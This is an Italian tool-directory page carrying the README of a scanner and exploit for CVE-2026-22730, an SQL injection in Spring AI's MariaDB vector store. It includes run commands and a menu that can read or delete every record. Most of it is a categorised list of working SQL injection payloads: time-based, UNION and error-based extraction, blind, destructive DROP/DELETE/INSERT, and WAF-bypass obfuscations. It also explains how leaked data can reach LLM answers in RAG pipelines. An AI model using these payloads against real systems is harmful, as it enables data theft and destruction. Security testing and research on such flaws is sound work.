Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22730-Scanner — Scanner e strumento di exploit per CVE-2026-22730, un'iniezione SQL nel vector store MariaDB di Spring AI. Supporta il rilevamento basato sul tempo, i metodi GET/POST e lo sfruttamento con reportistica. | Kitploit
Strumenti/GitHubGitHub/null200ok/cve-2026-22730-scanner
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

Scanner e strumento di exploit per CVE-2026-22730, un'iniezione SQL nel vector store MariaDB di Spring AI. Supporta il rilevamento basato sul tempo, i metodi GET/POST e lo sfruttamento con reportistica.

Vedi Repository
25 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Scanner & Exploit CVE-2026-22730 – SQL Injection nel MariaDB Vector Store di Spring AI

Python Version
License
Status

Uno strumento professionale di valutazione della sicurezza per CVE-2026-22730 – una vulnerabilità critica di SQL injection scoperta nel MariaDB vector store di Spring AI. Questo strumento consente a penetration tester autorizzati e ricercatori di sicurezza di rilevare e sfruttare in modo sicuro la vulnerabilità per scopi educativi o difensivi.

📖 Panoramica

CVE-2026-22730 riguarda le versioni di Spring AI 1.0.x < 1.0.4 e 1.1.x < 1.1.3 quando si utilizza il MariaDB vector store. A causa di un escaping non corretto dei valori stringa nelle espressioni di filtro, un attaccante può iniettare SQL arbitrario tramite parametri controllati dall'utente (ad es., filtri sui metadati). Ciò può portare a:

Recupero non autorizzato dei dati – bypassando i controlli di accesso basati sui metadati

Cancellazione completa del database – eliminando l'intero vector store (distruttivo)

Perdita silenziosa di dati – nelle pipeline RAG, i dati divulgati vengono incorporati nelle risposte LLM senza essere rilevati

Questo strumento fornisce un metodo sicuro e configurabile per verificare la presenza della vulnerabilità e dimostrarne l'impatto (con consenso esplicito) durante valutazioni di sicurezza autorizzate.

🚀 Funzionalità

✅ Rilevamento basato sul tempo – utilizza l'iniezione SLEEP() per confermare la vulnerabilità

✅ Metodi HTTP multipli – supporta GET (parametri di query) e POST (corpo JSON)

✅ Durata del ritardo personalizzabile – regolabile per latenza di rete o requisiti di stealth

✅ Opzioni di sfruttamento – recupera tutti i documenti (SELECT) o elimina tutto (DELETE)

✅ Report completi – genera report HTML, JSON e testo semplice

✅ CLI intuitiva – modalità interattiva e argomenti da riga di comando completi

✅ Sistema di payload estensibile – integra facilmente stringhe di iniezione personalizzate

📋 Requisiti

Python 3.6 o superiore

Libreria requests (pip install requests)

🔧 Installazione

bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 Utilizzo

Lo script può essere eseguito in modalità interattiva o con argomenti da riga di comando.

Sintassi di base

bash

python cve-2026-22730_scanner.py [options]

Opzioni

Opzione Descrizione

--url URL di destinazione (ad es., http://localhost:8081/api/docs)

--method Metodo HTTP: GET o POST (predefinito: GET)

--param Nome del parametro di query per GET, o nome di riferimento per POST (opzionale)

--json-template Template JSON con segnaposto PAYLOAD (richiesto per POST)

--baseline Valore benigno per la richiesta di base (predefinito: inesistente)

--sleep Secondi di ritardo per il rilevamento basato sul tempo (predefinito: 5)

Esempi

  1. Richiesta GET (parametro di query)

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"

  1. Richiesta POST con corpo JSON

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'

  1. Tempo di ritardo e baseline personalizzati

bash

python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"

  1. Modalità interattiva

bash

python cve-2026-22730_scanner.py

Ti verranno richiesti URL, metodo, parametro/template JSON, baseline e tempo di ritardo.

Flusso di sfruttamento

Se il target risulta vulnerabile, lo script presenta un menu:

text

[?] Il target è vulnerabile. Scegli l'opzione di sfruttamento:

root@kitploit:~
1. Recupera tutti i documenti (iniezione SELECT)

2. Elimina tutti i documenti (iniezione DELETE) - DISTRUTTIVO

3. Salta lo sfruttamento

L'opzione 1 invia ' OR '1'='1 per recuperare tutte le righe (non distruttivo, legge solo i dati).

L'opzione 2 invia lo stesso payload utilizzando il metodo HTTP DELETE – rimuove permanentemente tutti i record. Richiede conferma esplicita.

Tutte le azioni vengono registrate e incluse nel report finale.

📁 File di output

Dopo ogni esecuzione, vengono creati tre file con timestamp nella directory corrente:

cve-2026-22730_YYYYMMDD_HHMMSS.json – report JSON leggibile da macchina con tutti i dettagli.

cve-2026-22730_YYYYMMDD_HHMMSS.txt – riepilogo in testo semplice, inclusi eventuali dati di sfruttamento.

cve-2026-22730_YYYYMMDD_HHMMSS.html – report HTML formattato, adatto per la condivisione o l'archiviazione.

⚠️ Disclaimer importante

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.

L'uso non autorizzato contro sistemi di cui non si possiede o per cui non si ha esplicito permesso di test è illegale e non etico.

L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo software.

Ottieni sempre un'autorizzazione scritta prima di scansionare o sfruttare qualsiasi target.

📚 Riferimenti

GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm

Spring Security Advisory AV26‑245

Articolo di ricerca originale di SecureLayer7

🤝 Contributi

Pull request, segnalazioni di bug e suggerimenti di funzionalità sono benvenuti. Apri prima una issue per discutere modifiche importanti.

📄 Licenza

Questo progetto è concesso in licenza sotto la MIT License – consulta il file LICENSE per i dettagli.

Sviluppato con ❤️ da Nabeel

Esempio per PAYLOAD

Per la community della sicurezza

📌 Come utilizzare questi payload

Nello script, quando si utilizza POST con --json-template, sostituisci PAYLOAD con qualsiasi payload dall'elenco seguente.

Per le richieste GET, passa semplicemente il payload come valore del parametro (lo script gestisce automaticamente la codifica URL).

🔥 Categorie di payload

  1. Rilevamento / Basato sul tempo

Questi causano un ritardo se l'iniezione ha successo. Usali per confermare la vulnerabilità.

Payload Descrizione

' OR SLEEP(5) -- Payload standard basato sul tempo. Se la query si ferma per ~5 secondi, l'iniezione funziona.

' OR BENCHMARK(10000000,MD5('a')) -- Alternativa per MySQL/MariaDB (BENCHMARK).

' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep annidato per bypassare alcuni filtri.

' OR 1=1 AND SLEEP(5) -- Combina una condizione sempre vera con il ritardo.

  1. Bypass dell'autenticazione / Recupero di tutte le righe

Questi rendono la clausola WHERE sempre vera, restituendo tutti i record.

Payload Descrizione

' OR '1'='1 Classica iniezione sempre vera.

' OR 1=1 -- Un'altra variante (richiede uno spazio dopo --).

' OR ''=' Si basa sul confronto di stringhe vuote.

' OR 1=1# Usa # per il commento MariaDB (codificato in URL come %23).

' OR 1=1 LIMIT 1 -- Restituisce una sola riga (utile per output controllato)

  1. Estrazione dati basata su UNION

Utile quando l'applicazione mostra i risultati. Devi corrispondere al numero di colonne.

Payload Descrizione

' UNION SELECT NULL, database(), user(), version() -- Recupera nome del database, utente, versione. (Regola il conteggio di NULL per corrispondere alle colonne.)

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Elenca le tabelle.

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Elenca le colonne.

' UNION SELECT 1, content, metadata FROM vector_store -- Estrae i dati effettivi (se il conteggio delle colonne corrisponde).

  1. Estrazione basata su errori

Attiva errori che rivelano informazioni.

Payload Descrizione

' AND extractvalue(1, concat(0x7e, database())) -- Basato su errori MariaDB/MySQL.

' AND updatexml(1, concat(0x7e, version()), 1) -- Un altro metodo basato su errori.

' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Errore di chiave duplicata.

  1. Basato su booleani (Blind)

Utile quando non vengono mostrati output o errori, ma il comportamento dell'applicazione cambia.

Payload Descrizione

' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Verifica il primo carattere del nome del database.

' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Verifica il numero di tabelle.

' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Verifica l'esistenza di una tabella.

  1. Operazioni di scrittura / eliminazione

Payload distruttivi (usare con estrema cautela).

Payload Descrizione

' OR '1'='1 Se usato con DELETE, rimuove tutte le righe.

' OR 1=1; DROP TABLE vector_store -- Tenta di eliminare l'intera tabella (richiede query impilate, spesso disabilitate).

' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Tenta di inserire nuovi dati.

  1. Bypass di filtri / WAF

Versioni offuscate per eludere il semplice pattern matching.

Payload Descrizione

%27%20OR%20SLEEP(5)%20-- Codificato in URL (lo script lo gestisce automaticamente).

' //OR//SLEEP(5)/**/-- Commenti inline per spezzare le parole chiave.

' OR 0x273d27=0x273d27 -- Confronto codificato in esadecimale ('=').

' OR 1=1 /!50000SLEEP(5)/ -- Commento specifico della versione MySQL.

  1. Payload specifici dall'advisory CVE

Payload Descrizione

' OR '1'='1 Usato per recuperare tutti i documenti (prova di concetto).

' OR SLEEP(5) -- Payload di rilevamento basato sul tempo usato nello scanner.

' OR '1'='1 Usato anche per l'iniezione DELETE.

📝 Esempi di template JSON con payload

json

{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

Nello script, passeresti il template come:

bash

--json-template '{"department": "PAYLOAD"}'

Lo script sostituirà PAYLOAD con il payload effettivo.

NOTA sull'URL

Lo script richiede l'URL completo dell'endpoint che accetta il parametro vulnerabile. Ad esempio:

✅ http://example.com/api/docs – se l'endpoint è /api/docs

✅ http://example.com/search – se l'endpoint è /search

❌ http://example.com – non sufficiente, lo script richiede il percorso esatto

Scarica lo strumento